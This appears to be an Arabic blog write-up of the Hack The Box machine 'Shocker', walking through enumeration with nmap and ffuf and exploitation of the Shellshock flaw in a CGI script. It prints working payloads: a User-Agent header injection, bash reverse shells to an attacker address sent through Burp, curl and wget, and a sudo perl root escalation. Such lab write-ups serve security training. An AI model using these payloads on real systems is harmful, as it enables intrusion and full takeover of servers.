بسم الله الرحمن الرحيم
هذه اول تدوينه من سلسله تدوينات لشرح حل تحديات مشابهه لاختبار OSCP
في هذه التدوينه سوف اشرح اختراق جهاز Shocker في منصه Hack The Box واستغلال ثغره Shellshock
باكثر من طريقه
الخطوه الاولى فحص النظام باستخدام NMAP
nmap -A -T4 10.10.10.56
مثل ماهو واضح من نتيجه البحث يوجد منفذ 80 مفتوح على النظام وسيرفر Apache
الخطوه التاليه هي التعديل على ملف etc/hosts ونضع عنوان IP واسم الجهاز ونتصفح الموقع
sudo vim /etc/hosts
تجاهل علامه $
نتصفح الموقع الان
http://shocker.htb/
لايوجد محتويات مهمه في الموقع ابداْ وحتى الشفره المصدريه مافيها شي مهم.
الان نحاول نبحث عن مجلدات مخفيه في الموقع.
راح نستخدم اداه FFUF
ffuf -u http://Shocker.htb/FUZZ -w /usr/share/dirb/wordlists/small.txt
-u نضع بعدها رابط الموقع ويتم اضافه FUZZ في نهايه الرابط
البرنامج راح يستبدل كلمه FUZZ بالكلمات في قائمه wordlist
-w نضع بعدها مسار قائمه الكلمات “wordlist”
cgi-bin/ هو المجلد الي اكتشف وجوده البرنامج
نلاحظ ان حاله طلب الصفحه 403 مما يعني ان ماعندنا الصلاحيه نتصفح المجلد بالمتصفح.
الان بنستخدم نفس الاداه FFUF مع تعديل بسيط بحيث نبحث داخل المجلد الجديد cgi-bin/ باستخدام امتداد pl , cgi ,sh
ffuf -u http://Shocker.htb/cgi-bin/FUZZ -w /usr/share/dirb/wordlists/small.txt -e .pl,.sh, .cgi
اضفنا على الامر السابق مسار المجلد cgi-bin
وايضا -e مع امتداد الملفات المراد استخدامها في البحث
في الامر الاول كان البرنامج يستخدم فقط الاسماء الموجوده في ملف “wordlist” مع استخدام المسارات المشهوره مثل html
مثلا
http://Shocker.htb/cgi-bin/ibrahim
http://Shocker.htb/cgi-bin/ibrahim.html
http://Shocker.htb/cgi-bin/user
http://Shocker.htb/cgi-bin/user.html
لكن مع اضافه -e اصبح يستخدم اسم الملف + الامتدادات
مثلا
http://Shocker.htb/cgi-bin/ibrahim
http://Shocker.htb/cgi-bin/ibrahim.html
http://Shocker.htb/cgi-bin/ibrahim.cgi
http://Shocker.htb/cgi-bin/ibrahim.pl
http://Shocker.htb/cgi-bin/ibrahim.sh
http://Shocker.htb/cgi-bin/user
http://Shocker.htb/cgi-bin/user.html
http://Shocker.htb/cgi-bin/user.cgi
http://Shocker.htb/cgi-bin/user.pl
http://Shocker.htb/cgi-bin/user.sh
حسب نتيجه الامر السابق نلاحظ ان فيه ملف جديد اكتشفناه بأسم user.sh
نحمل الملف من هذا المسار
http://shocker.htb/cgi-bin/user.sh
نفتح باستخدام اي محرر نصوص
نلاحظ ان السكربت يعطينا فتره تشغيل الجهاز وبما ان الملف امتدادته sh وموجود داخل مجلد cgi
معناته في احتماليه اصابه سيرفر الويب بثغره shellshock
توضيح للثغره.
عند تصفح اي موقع يتم ارسال قيم للسيرفر مثل host , cookie ,User-Agent
المفروض هذه القيم لاتخرج عن اطار سيرفر الويب لكن السيرفرات المصابه بثغره shellshock تتجاوز اطار السيرفر وممكن تنفذ اوامر على النظام بشكل مباشر فقط نقوم بتمرير هذا الكود مع احد القيم () { :; };
مثال
لو طلبنا الصفحه
http://shocker.htb/cgi-bin/user.sh
واعترضنا الطلب من خلال BurpSuite
الجزء الايسر هو الطلب والجزء الايمن نتيجه الطلب
لو عدلنا على قيمه User-Agent وخليناها بهذا الشكل
User-Agent: () { :;} ; echo ; pwd
نلاحظ تنفيذ الامر pwd في المربع الازرق user/lib/cgi-bin/
الان متبقي فقط نحصل على شيل.
نفتح منفذ لاستقبال الاتصال العكسي ” Revers Shell ”
nc -lvp 4445
نستبدل الكود السابق بهذا الكود لعمل اتصال عكسي,
() { :;}; echo; /bin/bash -i >& /dev/tcp/10.10.14.5
لاحظ في الصوره السابقه حصلنا على شيل وايضا حذفت جميع القيم اسفل User-agent لانها تسبب تعارض في بعض الاحيان ” الي حضر معنا البث الخاص بحل هذا الجهاز بيلاحظ المشاكل الي واجهتنا قبل نحصل على شيل”
توجد طريقه اخرى للحصول على شيل
نستخدم curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' http://shocker.htb/cgi-bin/user.sh
ايضا نستطيع استغلال الثغره باستخدام wget
wget -qO- -U "() { :;}; echo Content-Type: text/html; echo; echo; /bin/bash -i >& /dev/tcp/10.10.14.5/4445 0>&1" http://shocker.htb/cgi-bin/user.sh
الان الخطوه الاخيره هي تصعيد الصلاحيات
لو استخدمنا الامر
sudo -l
راح يوضح لنا ان المستخدم الحالي يستطيع تشغيل perl باستخدام sudo بدون باسورد
اسهل طريقه لاستغلال هذا النوع من الاخطاء في اعطاء الصلاحيات هو موقع GTFOBins
لو بحثنا عن perl بتكون النتيجه بهذا الشكل
لو نفذنا الامر التالي
sudo perl -e ‘exec “/bin/sh”;’
راح نحصل على روت مباشره
لاحظ الصوره بالاسفل
في المربع الاول اسم المستخدم قبل تنفيذ الامر
في المربع الثاني نفذنا الامر
اما في المربع الثالث نلاحظ حصولنا على روت
اتمنى ان تنال التدوينه على اعجابك
@buhaimedi حسابي في تويتر
اذا عجبتك التدوينه اضغط على ايقونه تويتر بالاسفل وشاركها مع اصدقائك